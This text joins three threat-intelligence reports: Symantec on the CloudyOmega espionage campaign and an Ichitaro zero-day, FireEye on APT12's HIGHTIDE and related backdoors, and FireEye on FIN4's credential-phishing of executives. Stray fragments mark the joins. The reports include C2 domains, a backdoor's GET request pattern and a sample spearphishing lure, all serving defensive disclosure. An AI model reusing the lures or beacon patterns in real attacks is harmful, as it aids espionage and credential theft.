]com DNSName hda[.]stage[.]12735072[.]40[.]dc[.]c0ad[.]ip4[.]sta[.]gsvr-static[.
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]co
Operation CloudyOmega: Ichitaro zero-day and ongoing cyberespionage campaign targeting Japan JustSystems has issued an update to its Ichitaro product line (Japanese office suite software), plugging a zero-day vulnerability.
This vulnerability is being actively exploited in the wild to specifically target Japanese organizations.
The exploit is sent to the targeted organizations through emails with a malicious Ichitaro document file attached, which Symantec products detect as Bloodhound.
Exploit.557.
Payloads from the exploit may include Backdoor.
Emdivi, Backdoor.
Korplug, and Backdoor.
ZXshell however, all payloads aim to steal confidential information from the compromised computer.
The content of the emails vary depending on the business interest of the targeted recipients organization however, all are about recent political events associated with Japan.
Opening the malicious attachment with Ichitaro will drop the payload and display the document.
Often such exploitation attempts crash and then relaunch the document viewer to open a clean document in order to trick users into believing it is legitimate.
In this particular attack, opening the document and dropping the payload are done without crashing Ichitaro and, as such, users have no visual indications as to what is really happening in the background.
CloudyOmega As Security Response previously discussed, unpatched vulnerabilities being exploited is nothing new for Ichitaro.
However, during our investigation of this Ichitaro zero-day attack, we discovered that the attack was in fact part of an ongoing cyberespionage campaign specifically targeting various Japanese organizations.
Symantec has named this attack campaign CloudyOmega.
In this campaign, variants of Backdoor.
Emdivi are persistently used as a payload.
All attacks arrive on the target computers as an attachment to email messages.
Mostly the attachments are in a simple executable format with a fake icon.
However, some of the files exploit software vulnerabilities, and the aforementioned vulnerability in Ichitaro software is only one of them.
This groups primary goal is to steal confidential information from targeted organizations.
This blog provides insights into the history of the attack campaign, infection methods, malware payload, and the group carrying out the attacks.
Timeline The first attack of the campaign can be traced back to at least 2011.
Figure 1 shows the targeted sectors and the number of attacks carried out each year.
The perpetrators were very cautious launching attacks in the early years with attacks beginning in earnest in 2014.
By far, the public sector in Japan is the most targeted sector hit by Operation CloudyOmega.
This provides some clue as to who the attack group is.
http://www.symantec.com/security_response/writeup.jsp?docid2014-110611-5618-99 http://www.symantec.com/security_response/writeup.jsp?docid2014-101715-1341-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-062914-2531-99 http://www.symantec.com/security_response/writeup.jsp?docid2014-021716-3303-99 http://www.symantec.com/connect/blogs/yet-another-zero-day-japan-hit-ichitaro-vulnerability Figure 1.
Targeted sectors and number of attacks Attack vector Email is the predominant infection vector used in this campaign.
Figure 2.
Sample email used in attack campaign Figure 2 is an example of an email used in recent attacks prior to those exploiting the Ichitaro zero-day vulnerability.
The emails include password-protected .zip files containing the malware.
Ironically, the attackers follow security best practices by indicating in the first email that the password will be sent to the recipient in a separate email.
This is merely to trick the recipient into believing the email is from a legitimate and trustworthy source.
The body of the email is very short and claims the attachment includes a medical receipt.
The email also requests that the recipient open the attachment on a Windows computer.
The file in the attachment has a Microsoft Word icon but, as indicated within Windows Explorer, it is an executable file.
Figure 3.
Attached document is actually a malicious executable file Payload The malicious payload is Backdoor.
Emdivi, a threat that opens a back door on the compromised computer.
The malware is exclusively used in the CloudyOmega attack campaign and first appeared in 2011 when it was used in an attack against a Japanese chemical company.
Emdivi allows the remote attacker executing the commands to send the results back to the command-and-control (CC) server through HTTP.
Each Emdivi variant has a unique version number and belongs to one of two types: Type S and Type T. The unique version number is not only a clear sign that Emdivi is systematically managed, but it also acts as an encryption key.
The malware adds extra words to the version number and then, based on this, generates a hash, which it uses as an encryption key.
Both Emdivi Type S and Type T share the following functionality: Allow a remote attacker to execute code through HTTP Steal credentials stored by Internet Explorer Type T is primarily used in Operation CloudyOmega, has been in constant development since the campaign was first launched in 2011, and is written in the C programing language.
Type T employs techniques to protect itself from security vendors or network administrators.
Important parts of Type T, such as the CC server address it contacts and its protection mechanisms, are encrypted.
Type T also detects the presence of automatic analysis systems or debuggers, such as the following: VirtualMachine Debugger Sandbox Type S, on the other hand, was used only twice in the attack campaign.
Type S is a .NET application based on the same source code and shared CC infrastructure as Type T. However, protection mechanisms and encryption, essential features for threat survival, are not present in Type S. One interesting trait of Type S is that it uses Japanese sentences that seem to be randomly taken from the internet to change the file hash.
For instance, in the example shown in Figure 4, it uses a sentence talking about the special theory of relativity.
Figure 4.
Japanese text used by Emdivi Type S variant Who is Emdivi talking to?
Once infected, Emdivi connects to hardcoded CC servers using the HTTP protocol.
So far, a total of 50 unique domains have been identified from 58 Emdivi variants.
Almost all websites used as CC servers are compromised Japanese websites ranging from sites belonging to small businesses to personal blogs.
We discovered that 40 out of the 50 compromised websites, spread across 13 IP addresses, are hosted on a single cloud-hosting service based in Japan.
Figure 5.
Single IP hosts multiple compromised websites The compromised sites are hosted on various pieces of web server software, such as Apache and Microsoft Internet Information Services (IIS), and are on different website platforms.
This indicates that the sites were not compromised through a vulnerability in a single software product or website platform.
Instead, the attacker somehow penetrated the cloud service itself and turned the websites into CC servers for Backdoor.
Emdivi.
The compromised cloud hosting company has been notified but, at the time of writing, has not replied.
Symantec offers two IPS signatures that detect and block network communication between infected computers and the Emdivi CC server: System Infected: Backdoor.
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117
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Symantec offers the following protection against attacks associated with Operation CloudyOmega: AV Backdoor.
| 27,408
| 27,655
| 248
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data/reports_final/0117.txt
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Symantec offers the following protection against attacks associated with Operation CloudyOmega: AV Backdoor.
Emdivi Backdoor.
Emdivigen1 Backdoor.
Emdivigen2 Bloodhound.
Exploit.557 Trojan.
Mdropper IPS System Infected: Backdoor.
Emdivi Activity System Infected: Backdoor.
Emdivi Activity 2 http://www.symantec.com/security_response/writeup.jsp?docid2014-101715-1341-99 http://www.symantec.com/security_response/writeup.jsp?docid2014-102411-3143-99 http://www.symantec.com/security_response/writeup.jsp?docid2014-102803-3342-99 http://www.symantec.com/security_response/writeup.jsp?docid2014-110611-5618-99 http://www.symantec.com/security_response/writeup.jsp?docid2005-031911-0600-99 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid27975 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid27989
Darwins Favorite APT Group Introduction The attackers referred to as APT12 (also known as IXESHE, DynCalc, and DNSCALC) recently started a new campaign targeting organizations in Japan and Taiwan.
APT12 is believed to be a cyber espionage group thought to have links to the Chinese Peoples Liberation Army.
APT12s targets are consistent with larger Peoples Republic of China (PRC) goals.
Intrusions and campaigns conducted by this group are in- line with PRC goals and self-interest in Taiwan.
Additionally, the new campaigns we uncovered further highlight the correlation between APT groups ceasing and retooling operations after media exposure, as APT12 used the same strategy after compromising the New York Times in Oct 2012.
Much like Darwins theory of biological evolution, APT12 been forced to evolve and adapt in order to maintain its mission.
The new campaign marks the first APT12 activity publicly reported since Arbor Networks released their blog Illuminating The Etumbot APT Backdoor.
FireEye refers to the Etumbot backdoor as RIPTIDE.
Since the release of the Arbor blog post, FireEye has observed APT12 use a modified RIPTIDE backdoor that we call HIGHTIDE.
This is the second time FireEye has discovered APT12 retooling after a public disclosure.
As such, FireEye believes this to be a common theme for this APT group, as APT12 will continue to evolve in an effort to avoid detection and continue its cyber operations.
FireEye researchers also discovered two possibly related campaigns utilizing two other backdoors known as THREEBYTE and WATERSPOUT.
Both backdoors were dropped from malicious documents built utilizing the Tran Duy Linh exploit kit, which exploited CVE-2012-0158.
These documents were also emailed to organizations in Japan and Taiwan.
While APT12 has previously used THREEBYTE, it is unclear if APT12 was responsible for the recently discovered campaign utilizing THREEBYTE.
Similarly, WATERSPOUT is a newly discovered backdoor and the threat actors behind the campaign have not been positively identified.
However, the WATERSPOUT campaign shared several traits with the RIPTIDE and HIGHTIDE campaign that we have attributed to APT12.
Background From October 2012 to May 2014, FireEye observed APT12 utilizing RIPTIDE, a proxy-aware backdoor that communicates via HTTP to a hard-coded command and control (C2) server.
RIPTIDEs first communication with its C2 server fetches an encryption key, and the RC4 encryption key is used to encrypt all further communication.
http://www.arbornetworks.com/asert/2014/06/illuminating-the-etumbot-apt-backdoor/ http://www.fireeye.com/blog/technical/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html Figure 1: RIPTIDE HTTP GET Request Example In June 2014, Arbor Networks published an article describing the RIPTIDE backdoor and its C2 infrastructure in great depth.
The blog highlighted that the backdoor was utilized in campaigns from March 2011 till May 2014.
Following the release of the article, FireEye observed a distinct change in RIPTIDEs protocols and strings.
We suspect this change was a direct result of the Arbor blog post in order to decrease detection of RIPTIDE by security vendors.
The changes to RIPTIDE were significant enough to circumvent existing RIPTIDE detection rules.
FireEye dubbed this new malware family HIGHTIDE.
HIGHTIDE Malware Family On Sunday August 24, 2014 we observed a spear phish email sent to a Taiwanese government ministry.
Attached to this email was a malicious Microsoft Word document (MD5: f6fafb7c30b1114befc93f39d0698560) that exploited CVE-2012-0158.
It is worth noting that this email appeared to have been sent from another Taiwanese Government employee, implying that the email was sent from a valid but compromised account.
Figure 2: APT12 Spearphishing Email The exploit document dropped the HIGHTIDE backdoor with the following properties: MD5 6e59861931fa2796ee107dc27bfdd480 Size 75264 bytes Complie Time 2014-08-23 08:22:49 Import Hash ead55ef2b18a80c00786c25211981570 http://www.fireeye.com/blog/wp-content/uploads/2014/09/riptide-wireshark.png http://www.arbornetworks.com/asert/2014/06/illuminating-the-etumbot-apt-backdoor/ http://www.fireeye.com/blog/wp-content/uploads/2014/09/riptide-spear.jpg The HIGHTIDE backdoor connected directly to 141.108.2.157.
If you compare the HTTP GET request from the RIPTIDE samples (Figure 1) to the HTTP GET request from the HIGHTIDE samples (Figure 3) you can see the malware author changed the following items: User Agent Format and structure of the HTTP Uniform Resource Identifier (URI) Figure 3: HIGHTIDE GET Request Example Similar to RIPTIDE campaigns, APT12 infects target systems with HIGHTIDE using a Microsoft Word (.doc) document that exploits CVE-2012-0158.
FireEye observed APT12 deliver these exploit documents via phishing emails in multiple cases.
Based on past APT12 activity, we expect the threat group to continue to utilize phishing as a malware delivery method.
MD5 File Name Exploit 73f493f6a2b0da23a79b50765c164e88 .doc CVE-2012-0158 f6fafb7c30b1114befc93f39d0698560 0824.1.doc CVE-2012-0158 eaa6e03d9dae356481215e3a9d2914dc 0 .doc CVE-2012-0158 06da4eb2ab6412c0dc7f295920eb61c4 .doc CVE-2012-0158 53baedf3765e27fb465057c48387c9b6 1033.doc CVE-2012-0158 00a95fb30be2d6271c491545f6c6a707 2014 09 17 Welcome Reception for Bob and Jason_invitation.doc CVE-2012-0158 4ab6bf7e6796bb930be2dd0141128d06_Y103(2)_ (0825).doc CVE-2012-0158 Figure 4: Identified exploit documents for HIGHTIDE When the file is opened, it drops HIGHTIDE in the form of an executable file onto the infected system.
RIPTIDE and HIGHTIDE differ on several points: executable file location, image base address, the User- Agent within the GET requests, and the format of the URI.
The RIPTIDE exploit document drops its executable file into the C:\Documents and Settings\user\Application Data\Location folder while the HIGHTIDE exploit document drops its executable file into the C:\DOCUMENTS and SETTINGS\ user\LOCAL SETTINGS\Temp\ folder.
All but one sample that we identified were written to this folder as word.exe.
The one outlier was written as winword.exe.
Research into this HIGHTIDE campaign revealed APT12 targeted multiple Taiwanese Government http://www.fireeye.com/blog/wp-content/uploads/2014/09/riptide2-wireshark.jpg organizations between August 22 and 28.
THREEBYTE Malware Family On Monday August 25, 2014 we observed a different spear phish email sent from lilywang823gmail.com to a technology company located in Taiwan.
This spear phish contained a malicious Word document that exploited CVE-2012-0158.
The MD5 of the exploit document was e009b95ff7b69cbbebc538b2c5728b11.
Similar to the newly discovered HIGHTIDE samples documented above, this malicious document dropped a backdoor to C:\DOCUMENTS and SETTINGS\user\LOCAL SETTINGS\Temp\word.exe.
This backdoor had the following properties: MD5 16e627dbe730488b1c3d448bfc9096e2 Size 75776 bytes Complie Time 2014-08-25 01:22:20 Import Hash dcfaa2650d29ec1bd88e262d11d3236f This backdoor sent the following callback traffic to video[.]csmcpr[.
]com: Figure 5: THREEBYTE GET Request Beacon The THREEBYTE spear phishing incident (while not yet attributed) shared the following characteristics with the above HIGHTIDE campaign attributed to APT12: The THREEBYTE backdoor was compiled two days after the HIGHTIDE backdoors.
Both the THREEBYTE and HIGHTIDE backdoors were used in attacks targeting organizations in Taiwan.
Both the THREEBYTE and HIGHTIDE backdoors were written to the same filepath of C:\DOCUMENTS and SETTINGS\user\LOCAL SETTINGS\Temp\word.exe.
APT12 has previously used the THREEBYTE backdoor.
WATERSPOUT Malware Family On August 25, 2014, we observed another round of spear phishing emails targeting a high-technology company in Japan.
Attached to this email was another malicious document that was designed to exploit CVE-2012-0158.
This malicious Word document had an MD5 of 499bec15ac83f2c8998f03917b63652e and dropped a backdoor to C:\DOCUMENTS and SETTINGS\user\LOCAL SETTINGS\Temp\word.exe.
The backdoor had the following properties: http://www.fireeye.com/blog/wp-content/uploads/2014/09/threebyte-wireshark.jpg MD5 f9cfda6062a8ac9e332186a7ec0e706a Size 49152 bytes Complie Time 2014-08-25 02:10:11 Import Hash 864cd776c24a3c653fd89899ca32fe0b The backdoor connects to a command and control server at icc[.]ignorelist[.
]com.
Similar to RIPTIDE and HIGHTIDE, the WATERSPOUT backdoor is an HTTP-based backdoor that communicates with its C2 server.
GET /string/5 digit number/4 character string.php?first 3 characters of last string_id43 character string HTTP/1.1 Accept: image/jpeg, application/x-ms-application, image/gif, application/xamlxml, image/pjpeg, application/x-ms-xbap, / User-Agent: Mozilla/4.0 (compatible MSIE 8.0 Windows NT 6.1 Trident/4.0 SLCC2 .NET CLR 2.0.50727 .NET CLR 3.5.30729 .NET CLR 3.0.30729 .NET4.0C .NET4.0E) Host: C2 Location Cache-Control: no-cache Figure 6: Sample GET request for WATERSPOUT backdoor Although there are no current infrastructure ties to link this backdoor to APT12, there are several data points that show a possible tie to the same actors: Same initial delivery method (spear phishing email) with a Microsoft Word Document exploiting CVE-2012-0158.
The same Tran Duy Linh Microsoft Word Exploit Kit was used in delivery of this backdoor.
Similar Targets were observed where the threat actors utilized this backdoor.
Japanese Tech Company Taiwanese Government Organizations Organizations in the Asia-Pacific Region that are of Interest to China The WATERSPOUT backdoor was written to the same file path as the HIGHTIDE backdoors: C:\DOCUMENTS and SETTINGS\user\LOCAL SETTINGS\Temp\word.exe C:\DOCUMENTS and SETTINGS\user\LOCAL SETTINGS\Temp\winword.exe WATERSPOUT was compiled within two days of the last HIGHTIDE backdoor and on the same day as the THREEBYTE backdoor.
Although these points do not definitively tie WATERSPOUT to APT12, they do indicate a possible connection between the WATERSPOUT campaign, the THREEBYTE campaign, and the HIGHTIDE campaign attributed to APT12.
Conclusion FireEye believes the change from RIPTIDE to HIGHTIDE represents a temporary tool shift to decrease malware detection while APT12 developed a completely new malware toolset.
These development efforts may have resulted in the emergence of the WATERSPOUT backdoor.
Figure 7: Compile dates for all three malware families APT12s adaptations to public disclosures lead FireEye to make several conclusions about this threat group: APT12 closely monitors online media related to its tools and operations and reacts when its tools are publicly disclosed.
APT12 has the ability to adapt quickly to public exposures with new tools, tactics, and procedures (TTPs).
Public disclosures may result in an immediate change in APT12s tools.
These changes may be temporary and FireEye believes they are aimed at decreasing detection of their tools until a more permanent and effective TTP change can be implemented (e.g., WATERSPOUT).
Though public disclosures resulted in APT12 adaptations, FireEye observed only a brief pause in APT12 activity before the threat actors returned to normal activity levels.
Similarly, the public disclosure of APT12s intrusion at the New York Times also led to only a brief pause in the threat groups activity and immediate changes in TTPs.
The pause and retooling by APT12 was covered in the Mandiant 2014 M- Trends report.
Currently, APT12 continues to target organizations and conduct cyber operations using its new tools.
Most recently, FireEye observed HIGHTIDE at multiple Taiwan-based organizations and the suspected APT12 WATERSPOUT backdoor at a Japan-based electronics company.
We expect that APT12 will continue their trend and evolve and change its tactics to stay ahead of network defenders.
Note: IOCs for this campaign can be found here.
This entry was posted in Botnets, Targeted Attack, Threat Intelligence, Threat Research and tagged advanced malware, advanced persistent threat, advanced targeted attack, advanced threat actor, APT12, http://www.fireeye.com/blog/wp-content/uploads/2014/09/12-timeline.jpg https://dl.mandiant.com/EE/library/WP_M-Trends2014_140409.pdf https://github.com/fireeye/iocs/blob/master/2384c8ce-6eca-4d06-8aa4-151b53d9a6bc.ioc http://www.fireeye.com/blog/category/technical/botnet-activities-research http://www.fireeye.com/blog/category/technical/targeted-attack http://www.fireeye.com/blog/category/technical/threat-intelligence http://www.fireeye.com/blog/category/technical http://www.fireeye.com/blog/tag/advanced-malware http://www.fireeye.com/blog/tag/advanced-persistent-threat http://www.fireeye.com/blog/tag/advanced-targeted-attack http://www.fireeye.com/blog/tag/advanced-threat-actor http://www.fireeye.com/blog/tag/apt12 Targeted Attack by Ned Moran, Mike Oppenheim, Sarah Engle and Richard Wartell.
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SPECIAL REPORT SECURITY REIMAGINED HACKING THE STREET?
FIN4 LIKELY PLAYING THE MARKET WRITTEN BY: BARRY VENGERIK KRISTEN DENNESEN JORDAN BERRY JONATHAN WROLSTAD 2 fireeye.com Hacking the Street?
FIN4 Likely Playing the Market CONTENTS KEY FINDINGS ...........................................................................................................................................................................................................................................................................................................................................................................................................3 APPLYING WALL STREET KNOW-HOW: FIN4S TARGETS ............................................................................................................................................................................................................................................4 MA Deals in FIN4s Crosshairs ..............................................................................................................................................................................................................................................................................................................................5 Lasering in on Healthcare and Pharmaceuticals .......................................................................................................................................................................................................................................................................5 Keeping it Organized ......................................................................................................................................................................................................................................................................................................................................................................6 TAKING CARE OF BUSINESS: FIN4S TACTICS .......................................................................................................................................................................................................................................................................................7 FIN4s Social Engineering ......................................................................................................................................................................................................................................................................................................................................................7 A Fly on Many Walls .........................................................................................................................................................................................................................................................................................................................................................................8 Evading Detection ..........................................................................................................................................................................................................................................................................................................................................................................10 Conclusion .....................................................................................................................................................................................................................................................................................................................................................................................................10 APPENDIX: TACTICS ................................................................................................................................................................................................................................................................................................................................................................................11 VBA Macros Embedded into Legitimate Documents .................................................................................................................................................................................................................................................11 Networking and Infrastructure .............................................................................................................................................................................................................................................................................................................................13 What Can Network Defenders Do?
..............................................................................................................................................................................................................................................................................................................
14 Acknowledgments to Jen Weedon, Laura Galante, Arif Khan http://www.fireeye.com http://www.fireeye.com 3 fireeye.com Hacking the Street?
FIN4 Likely Playing the Market F ireEye is currently tracking a group that targets the email accounts of individuals privy to the most confidential information of more than 100 companies.
The group, which we call FIN4, appears to have a deep familiarity with business deals and corporate communications, and their effects on financial markets.
Operating since at least mid-2013, FIN4 distinctly focuses on compromising the accounts of individuals who possess non-public information about merger and acquisition (MA) deals and major market-moving announcements, particularly in the healthcare and pharmaceutical industries.
FIN4 has targeted individuals such as top executives, legal counsel, outside consultants, and researchers, among others.
We are able to characterize FIN4s activity from the incidents to which we have responded in our clients networks, FIN4s attempts to compromise our managed service clients, our product detection data, and further independent research.
Our visibility into FIN4s activities is limited to their network operations we can only surmise how they may be using and potentially benefiting from the valuable information they are able to obtain.
However one fact remains clear: access to insider information that could make or break stock prices for dozens of publicly traded companies could surely put FIN4 at a considerable trading advantage.
KEY FINDINGS 100 TARGETS Since mid-2013, FIN4 has targeted over 100 organizations, all of which are either publicly traded companies or advisory firms that provide services such as investor relations, legal counsel, and investment banking.
Approximately two-thirds of the targeted organizations are healthcare and pharmaceutical companies.
FIN4 knows their targets.
Their spearphishing themes appear to be written by native English speakers familiar with both investment terminology and the inner workings of public companies.
FIN4 does not infect their victims with malware, but instead focuses on capturing usernames and passwords to victims email accounts, allowing them to view private email correspondence.
FIN4 uses their knowledge to craft convincing phishing lures, most often sent from other victims email accounts and through hijacked email threads.
These lures appeal to common investor and shareholder concerns, enticing the intended victims into opening the weaponized document and entering their email credentials.
On multiple occasions, FIN4 has targeted several parties involved in a single business deal, to include law firms, consultants, and the public companies involved in negotiations.
They also have mechanisms to organize the data they collect and have taken steps to evade detection.
4 fireeye.com Hacking the Street?
FIN4 Likely Playing the Market Figure 1: FIN4s Targets F ireEye believes FIN4 intentionally targets individuals who have inside information about impending market catalystsevents that will cause the price of stocks to rise or fall substantially in a short period of time.
Since at least mid-2013, FIN4 has pursued targets at more than 100 organizations, over two-thirds of which are public healthcare and pharmaceutical companies.
The remaining targets include advisory firms that represent public companies and a handful of public companies in other sectors closely followed by market watchers.
All but three of the public companies are listed on the NYSE or NASDAQ, with the remaining three listed on non-US exchanges.
APPLYING WALL STREET KNOW-HOW: FIN4S TARGETS In order to get useful inside information, FIN4 compromises the email accounts of individuals who regularly communicate about market- moving, non-public matters.
FIN4 frequently targets: C-level executives and senior leadership Legal counsel Regulatory, risk, and compliance personnel Researchers Scientists People in other advisory roles TARGETED ORGANIZATIONS: OVER 100 PUBLICLY TRADED COMPANIES AND ADVISORY FIRMS Firms Advising Public Companies on Securities, Legal and MA Matters 20 Other Publicly Traded Companies 12 Publicly Traded Healthcare and Pharmaceutical Companies 68 5 fireeye.com Hacking the Street?
FIN4 Likely Playing the Market Figure 2: Targeted healthcare and pharmaceutical industry sub-sectors MA Deals in FIN4s Crosshairs FIN4 focuses on acquiring information about ongoing MA discussions and identifying the individuals who are most likely involved.
The group frequently employs MA-themed and SEC-themed lures with Visual Basic for Applications (VBA) macros implemented to steal the usernames and passwords of these key individuals.
Additionally, FIN4 has included links to fake Outlook Web App (OWA) login pages designed to capture the users credentials.
Once equipped with the credentials, FIN4 then has access to real-time email communicationsand presumably insight into potential deals and their timing.
Many of FIN4s lures appeared to be stolen documents from actual deal discussions that the group then weaponized and sent to individuals directly involved in the deal.
In some cases, the discussions were public knowledge and widely reported in the media, while others were still in the early exploration and due diligence phases.
In one instance, we observed FIN4 simultaneously target five different organizations involved in a single acquisition discussion.
The group targeted individuals at the five firms several months before the organizations involvement in the acquisition talks went public.
Lasering in on Healthcare and Pharmaceuticals We believe FIN4 heavily targets healthcare and pharmaceutical companies as stocks in these industries can move dramatically in response to news of clinical trial results, regulatory decisions, or safety and legal issues.
In fact, many high-profile insider trading cases involve the pharmaceutical sector.
Weve observed FIN4 access information on a wide variety of issuesincluding drug development, insurance reimbursement rates, and pending legal casesall of which can significantly influence the price of healthcare industry stocks.
In one case, FIN4 targeted employees involved in Medicaid rebates and government purchasing processes - these issues can heavily influence stock prices.
Healthcare and pharmaceutical companies depend heavily on the decisions of large third party payers (like Medicaid) whose purchasing power and rebate decisions can make or break a companys earnings.
FIN4 would presumably use this information to evaluate healthcare companies future revenue.
50 12 10 13 2 5 5 3 FIN4 HEALTHCARE TARGETS: OVER 60 PUBLIC COMPANIES IN VARIOUS SUB-INDUSTRIES BIOTECHNOLOGY 50 MEDICAL INSTRUMENTS EQUIPMENT 12 MEDICAL DISTRIBUTION 2 MEDICAL DIAGNOSTICS RESEARCH 5 MEDICAL DEVICES 13 HEALTHCARE PROVIDERS 3 HEALTHCARE PLANS 5 DRUG MANUFACTURERS 10 6 fireeye.com Hacking the Street?
FIN4 Likely Playing the Market Figure 3: Example of FIN4 Campaign Code Keeping it Organized FIN4 organizes the targets of their activity with over 70 unique campaign codes to designate the employer of the individuals they target, or in some cases the generic roles the targeted individuals play within that organization.
For example: CEO_CFO_COO_CORPDEV SCIENTISTS_AND_RESEARCH PHARMACEUTICAL COMPANY NAME ADVISORY FIRM NAME These campaign codes function as labels that FIN4 uses to identify the origin of usernames and passwords stolen from their targets.
These campaign codes are transmitted to FIN4s command and control (C2) servers along with stolen credentials.
FIN4s campaign codes illustrate their interest in the organizations and job roles most likely to have access to market-moving information before it goes public.
7 fireeye.com Hacking the Street?
FIN4 Likely Playing the Market A fter identifying a target, FIN4 frequently embeds VBA macros into a previously stolen Office document.
The embedded macro displays a dialog box that mimics the Windows Authentication prompt for the user to enter their domain credentials.
These credentials are transmitted to a server controlled by the group, allowing FIN4 to hijack that users email account.
FIN4 also sends highly tailored emails that typically play on the recipients knowledge or interest in a pending deal.
In several instances, FIN4 has included links to fake OWA login pages in their phishing emails instead (Figure 4).
This would be useful for targeting organizations that may have disabled VBA macros in Microsoft Office.
FIN4s Social Engineering FIN4 knows their audience.
Their spearphishing themes appear to be written by native English speakers familiar with both investment terminology and the inner workings of public companies.
FIN4s phishing emails frequently play up shareholder and public disclosure concerns.
Figure 4 shows the groups strong command of an executives concerns over illicit public disclosure, particularly over executive incompetence and compensation issues.
This email came from an account that FIN4 hijacked at a public company and includes several watchwords: disclosure of confidential company information regarding pending transactions.
These specific issues are key terms at public companies, where the public disclosure of sensitive business information is strictly regulated.
Figure 4: FIN4 phishing email to an executive TAKING CARE OF BUSINESS: FIN4S TACTICS Subject: employee making negative comments about you and the company From: namecompromised companys domain I noticed that a user named FinanceBull82 (claiming to be an employee) in an investment discussion forum posted some negative comments about the company in general (executive compensation mainly) and you in specific (overpaid and incompetent).
He gave detailed instances of his disagreements, and in doing so, may have unwittingly divulged confidential company information regarding pending transactions.
I am a longtime client and I do not think that this will bode well for future business.
The post generated quite a few replies, most of them agreeing with the negative statements.
While I understand that the employee has the right to his opinion, perhaps he should have vented his frustrations through the appropriate channels before making his post.
The link to the post is located here (it is the second one in the thread): http://forum.domain/redirect.
php?urlhttp://domain2fforum2fequities2f3758239022farticle.
php\par Could you please talk to him?
Thank you for the assistance, name 8 fireeye.com Hacking the Street?
FIN4 Likely Playing the Market While a large share of FIN4s lures are previously stolen confidential company documents, the group occasionally uses generic lures of interest to the investment community (Figure 5).
FIN4 also uses existing email threads in a victims inbox to spread their weaponized documents.
Weve seen the actors seamlessly inject themselves into email threads.
FIN4s emails would be incredibly difficult to distinguish from a legitimate email sent from a previously compromised victims email account.
The actors have also Bccd all recipients, making it even more difficult for recipients to decipher a malicious email from a legitimate one.
A Fly on Many Walls In several of our investigations, FIN4 targeted multiple parties involved in a business deal, including law firms, consultants, and public companies.
In one instance, FIN4 appeared to leverage its previously-acquired access to email accounts at an advisory firm (Advisory Firm A) to collect data during a potential acquisition of one of Advisory Firm As clients (Public Company A).
FIN4 proceeded to send a spearphishing email from a compromised account at Advisory Firm A to another advisory firm (Advisory Firm B), who was also representing Public Company A. FIN4 used a SEC filing document as a lure.
After news of the possible acquisition was made public, Public Company As stock price varied significantly.
It is likely that FIN4 used the inside information they had to capitalize on these stock fluctuations.
Figure 5: Generic FIN4 Lure Document 9 fireeye.com Hacking the Street?
FIN4 Likely Playing the Market ADVISORY FIRM B PUBLIC COMPANY A Involved in MA discussions with Public COMPANY B Advisory Firm A and Advisory Firm B are advising Public Company A about a prospective MA deal with Public Company B MA-themed spearphish from hijacked account The spearphishing email pertains directly to the pending deal, which is not yet public at the time the spearphish is sentSEC-Themed spearphish from hijacked account SEVERAL WEEKS PRIOR TO ANNOUNCEMENT DAYS PRIOR TO ANNOUNCEMENT PUBLIC ANNOUNCEMENT SUBSEQUENT WEEKS POST- ANNOUNCEMENT FIN4 uses a hijacked e-mail account at Advisory Firm A to spearphish MA specialists at Advisory Firm B.
Both Advisory Firm A and Advisory Firm B are advising Public Company A on a large MA opportunity.
FIN4 sends a second spearphishing email to the MA team at Public Company A, as well as to several of the MA teams advisors at outside firms.
Public Company A announces its plans regarding a possible MA deal with Public Company B.
The market responds to the public announcement with wide fluctuations in the stock prices of both Public Company A and Public Company B.
ADVISORY FIRM A COMPROMISED 10 fireeye.com Hacking the Street?
FIN4 Likely Playing the Market Figure 6: Outlook rule to filter emails Evading Detection FIN4 has been observed creating a rule in victims Microsoft Outlook accounts that automatically deletes any emails that contain words such as hacked, phish, malware, etc.
(
Figure 6).
The group likely implements these rules to prevent compromised victims from receiving replies from intended targets that their email account may be compromised, and likely buys FIN4 extra time before victim organizations detect their activities.
Conclusion If FIN4s activities are indeed part of a sustained effort to gain advance access to market-moving information, it would not be the first time that network intrusions have played a role in an insider trading case.
However the scale of FIN4s operations, with targets at more than 100 public companies, coupled with their tactic of going after key individuals emails, sets this group apart.
Our visibility into FIN4 is limited to their network operations, so we cannot say for certain what happens after they gain access to insider information.
What we can say is that FIN4s network activities must reap enough benefit to make these operations worth supporting for over a yearand in fact, FIN4 continues to compromise new victims as we finish this report.
11 fireeye.com Hacking the Street?
FIN4 Likely Playing the Market APPENDIX: TACTICS FIN4 employs a simple, yet effective, method to gather targets user credentials through their spearphishing emails.
Using VBA macros, they embed malicious code into already existing and legitimate company documents.
Embedded in each Microsoft Word or Excel document is a malicious macro that prompts the user for their Outlook credentials.
We have also observed this group send emails with links to fake Outlook Web App (OWA) login pages that will also steal the users credentials, however we have not observed this tactic in recent months.
Figure 7: Example of Module1 used in one of the most recent campaigns VBA Macros Embedded into Legitimate Documents The embedded VBA macro consists of a module typically entitled Module1 and a user form that has been called both UserForm1 and UserLoginForm.
The code in Module1 contains the information needed to communicate with the C2 server (Figure 7).
12 fireeye.com Hacking the Street?
FIN4 Likely Playing the Market The userform contains the code for the user credentials prompt and an artifact that is highly indicative of the actors targeting.
The artifact (a campaign code) is usually tailored to the particular target company or the company from which they are targeting others alternately, the artifact may represent a generic role for targeted individuals, such as SCIENTISTS_AND_RESEARCH or CEO_CFO_COO_CORPDEV.
We have identified over 70 unique campaign codes to date.
This campaign code is transmitted to the C2 server along with the victims username and password, as seen in Figure 8.
Many of the fake Outlook windows opened by the macros contain the logo of the company targeted giving the pop-up apparent legitimacy.
Figure 9 below represents a generic pop-up, with no company-specific information that a user might see after opening the document.
Only after credentials are entered will the document appear for the user.
Figure 9: Malicious Dialogue that Prompts for Users Credentials Figure 8: Example of UserForm1 with Campaign Code 13 fireeye.com Hacking the Street?
FIN4 Likely Playing the Market Figure 10: POST Request Containing Users Credentials Sent to C2 Networking and Infrastructure After the user enters data into the username and password fields, the data is transmitted to the C2 server via a POST request (Figure 10).
FIN4 then uses the collected credentials to login to victim email accounts.
In addition to gaining access to the victims private communications, FIN4 also uses the compromised accounts to email malicious documents to additional targets inside and outside the victim company.
The group is currently active as this report goes to publication and recently used the domains junomaat81[.
]us and lifehealthsanfrancisco2015[.
]com as their C2s.
FIN4 appears to be heavily reliant on Tor (software that enables users to browse the Internet anonymously by encrypting their internet traffic and routing it through servers around the world) and has been seen using Tor to login to victims email accounts after obtaining the compromised user credentials.
